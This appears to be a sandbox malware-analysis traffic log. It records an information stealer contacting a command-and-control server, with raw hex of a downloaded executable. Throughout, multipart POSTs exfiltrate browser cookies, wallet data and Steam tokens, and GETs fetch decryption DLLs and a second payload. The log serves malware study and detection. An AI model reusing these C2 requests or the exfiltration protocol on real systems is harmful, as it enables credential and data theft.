00 40 31 00 00 f8 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6b 78 73 65 69 6c 62 00 10 00 00 00 40 4b 00 00 04 00 00 00 ee 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4b 00 00 22 00 00 00 f2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 23:08:11 GMTContent-Type: application/octet-streamContent-Length: 4399616Last-Modified: Sat, 23 Nov 2024 22:06:13 GMTConnection: keep-aliveETag: "674251d5-432200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 f0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c5 00 00 04 00 00 e2 8a 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c de c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc dd c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 79 65 66 7a 73 6b 75 00 70 1b 00 00 70 a9 00 00 70 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 70 73 68 74 62 79 6d 00 10 00 00 00 e0 c4 00 00 04 00 00 00 fc 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 c4 00 00 22 00 00 00 00 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 31 35 37 30 37 32 41 39 37 37 44 34 32 30 36 39 38 32 38 33 37 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="hwid"0157072A977D4206982837------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="build"mars------FCAEBFIJKEBGHIDHIEGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 2d 2d 0d 0a Data Ascii: ------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="message"browsers------BKJKJEHJJDAKECBFCGID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="message"plugins------ECGDAAFIIJDAAAAKFHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKJKKKJJJKJKFHJJJJEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------HJKJKKKJJJKJKFHJJJJEContent-Disposition: form-data; name="message"fplugins------HJKJKKKJJJKJKFHJJJJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGIDHost: 185.215.113.206Content-Length: 6447Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 2d 2d 0d 0a Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JDBGDHIIDAEBFHJJDBFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 2d 2d 0d 0a Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEBHost: 185.215.113.206Content-Length: 3083Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="file"------IJKKEHJDHJKFIECAAKFI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDGHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 2d 2d 0d 0a Data Ascii: ------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="message"wallets------IEGCBAAFHDHDHJKEGCFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 2d 2d 0d 0a Data Ascii: ------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="message"files------CBFIJEGIDBGIECAKKEGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="file"------IJDHDGDAAAAKFIDGHJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 34 30 66 39 32 61 66 39 39 64 65 33 36 34 64 61 66 61 37 32 63 31 39 63 36 63 35 31 36 39 36 30 32 37 62 66 32 36 31 39 32 66 39 37 30 61 66 61 61 64 35 65 66 33 36 33 65 35 61 63 64 65 62 32 31 32 62 32 36 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"e940f92af99de364dafa72c19c6c51696027bf26192f970afaad5ef363e5acdeb212b26b------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"ybncbhylepme------CAAEBKEGHJKEBFHJDBFC--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
